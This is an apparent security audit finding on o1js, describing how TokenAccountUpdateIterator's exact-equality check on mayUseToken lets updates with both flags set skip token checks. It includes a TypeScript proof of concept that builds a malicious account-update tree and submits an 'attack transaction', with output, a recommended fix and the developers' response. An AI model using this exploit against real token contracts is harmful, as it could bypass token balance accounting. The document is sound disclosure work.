ForestIterator checks for exact match in MayUseToken

[kantp]

The TokenAccountUpdateIterator iterates over an AccountUpdate forest using a pre-order depth-first traversal. It does this by maintaining a stack of Merkle lists, each representing the siblings of the current node’s ancestors which have yet to be processed. Since ZK Circuits are limited in their size at compile time, callers can only support a fixed number of iterations.

To help mitigate this problem, the TokenAccountUpdateIterator attempts to skip sub-trees which may not update the derived token id of the token contract. To do so, the iterator skips the children of the current accountUpdate if the accountUpdate is either

1. An AccountUpdate for the token contract itself. This tree will be verified independently during transaction validation.
2. An AccountUpdate whose tokenId cannot be the token’s derived token-id, nor can any of its children’s.

Snippet from next() which skips the child subtree if either case (1.) (isSelf) or case (2.) (canAccessThisToken.not()) is true.

// if we don't have to check the children, ignore the forest by jumping to its end
let skipSubtree = canAccessThisToken.not().or(isSelf);
childForest.jumpToStartIf(skipSubtree);

Identifying case (1.) is easy. Identifying case (2.) has two sub-cases:

1. Top-level: if accountUpdate.mayUseToken.parentsOwnToken is true, the account update’s token id may be set to the token contract’s derived token ID
2. Not top-level: Since (by (1.)) all AccountUpdates which could derive the token contract’s derived token ID are skipped, we know that the derived ID of the parent of this inner node is not equal to the token contract’s derived token ID. Therefore, the only way we can use the token contract’s derived token ID is if we inherit it from our parent. In particular, accountUpdate.mayUseToken.parentsOwnToken must be true.

To implement the check for case (2.), an invariant is maintained on the iteration “layers” stored in the stack. layer.mayUseToken is MayUseToken.ParentsOwnToken iff its layer is the top-level. Otherwise, layer.mayUseToken is MayUseToken.InheritFromParent. So, the developers can determine whether this account update’s children can access this token by comparing accountUpdate.mayUseToken.parentsOwnToken to the current layer’s mayUseToken field.

Computation of canAccessThisToken.

// check if this account update / it's children can use the token
let canAccessThisToken = Provable.equal(
  MayUseToken.type,
  update.body.mayUseToken,
  this.currentLayer.mayUseToken
);

Unfortunately, as described in the o1js audit report, the mayUseToken has four representations:

1. {parentsOwnToken: false, inheritFromParent: false}
2. MayUseToken.InheritFromParent := {parentsOwnToken: false, inheritFromParent: true}
3. MayUseToken.ParentsOwnToken := {parentsOwnToken: true, inheritFromParent: false}
4. {parentsOwnToken: true, inheritFromParent: true}

This fourth case is accepted by the VM, and treated as equivalent to case 2.

In particular, this causes the iteration to skip any account update with both flags set to true. This can be seen in the below code snippet, in which iteration skips the entire bottom level of a tree of account updates.

Malicious AccountUpdate tree construction. This PoC can be used in the setup provided by

et updates: AccountUpdate[] = []
const length = 7;
for(let i = 0; i < length; ++i) {
  let update = AccountUpdate.defaultAccountUpdate(alexa.publicKey, token.deriveTokenId());
  update.label = `Update ${i}`;
  updates.push(update);
}

// forest[0]
// Build a complete, 3-level tree
// t0
// t1    t2
// t3 t4 t5 t6
updates[3]!.body.callDepth = 2;
updates[4]!.body.callDepth = 2;
updates[5]!.body.callDepth = 2;
updates[6]!.body.callDepth = 2;
updates[1]!.body.callDepth = 1;
updates[2]!.body.callDepth = 1;
updates[0]!.body.callDepth = 0;

let trees: AccountUpdateTree[] = []
for(let i = 0; i < length; ++i) {
  let update = updates[i]!;
  update.body.mayUseToken = update.body.callDepth === 0
  ? { parentsOwnToken: new Bool(true), inheritFromParent: new Bool(false) }
  : { parentsOwnToken: new Bool(true), inheritFromParent: new Bool(true) };
  update.body.balanceChange = update.body.callDepth === 2 ? new Int64(new UInt64(100n)) : Int64.zero;
  trees.push(AccountUpdateTree.from(update))
}

trees[1]!.children.push(trees[3]!)
trees[1]!.children.push(trees[4]!)
trees[2]!.children.push(trees[5]!)
trees[2]!.children.push(trees[6]!)
trees[0]!.children.push(trees[1]!)
trees[0]!.children.push(trees[2]!)

// top-level tree to forest
let forest = AccountUpdateForest.empty();
forest.push(trees[0]!);

// Iterate over the forest so we can see what will be accessed!
let iterator = TokenAccountUpdateIterator.create(forest, token.deriveTokenId());
for(let i = 0; i < 7; ++i) {
  let {accountUpdate, usesThisToken} = iterator.next();
  Provable.log(i, usesThisToken, accountUpdate.toPretty())
}

console.log("Attack transaction.")
const attackTx = await Mina.transaction({
  sender: feepayer.publicKey,
  fee,
}, async () => {
  AccountUpdate.fundNewAccount(feepayer.publicKey, 1);
  await token.approveBase(forest);
})
console.log(attackTx.toPretty());
await attackTx.prove()
attackTx.sign([feepayer.privateKey, alexa.privateKey])
const attackTxResult = await attackTx.send()
console.log("Attack tx:", attackTxResult.hash)
await attackTxResult.wait()

await printTxn(attackTx, "Attack tx", legend)
await showTxn(attackTx, "Attack tx", legend)

This outputs

0 true {
  label: 'Update 0',
  ...
}
1 true {
  label: 'Update 2',
    ...
}
2 true {
  label: 'Update 1',
   ...
}
3 false {
  label: 'Dummy',
   ...
}
4 false {
  label: 'Dummy',
   ...
}
5 false {
  label: 'Dummy',
   ...
}
6 false {
  label: 'Dummy',
   ...
}

As a consequence, AccountUpdates which may not provable ignore token balances will be ignored by the iterator.

However, when a transaction is hashed by the network, it serialized and then de-serialized. During serialization, the mayUseToken field is validated to have at most one true flag, preventing this attack from successfully executing on the network.

Impact

Currently, it seems this can attack cannot be executed due to the serialization and de-serialization routines. However, changes to the codebase could enable this attack in the future if it is not carefully documented for developers.

Recommendation

Since the checks preventing this attack are far from the in-scope code and not familiar to the auditors, we recommend the Mina team take extra care to validate that there is no path by which a transaction can be submitted without being de-serialized.

At the very least, add documentation to the AccountUpdate struct and the relevant portion of the mina repository indicating the importance of checking that mayUseToken has at most one true boolean flag.

A more robust fix would ensure this situation cannot occur within any valid proof. To do this, consider updating the check() function of AccountUpdate to rule out the {true, true} case.

Developer Response

We rate this as more severe than a warning. We want correct code execution to be proven and be universally verifiable, and not rely on each node operator to check wellformedness on deserialization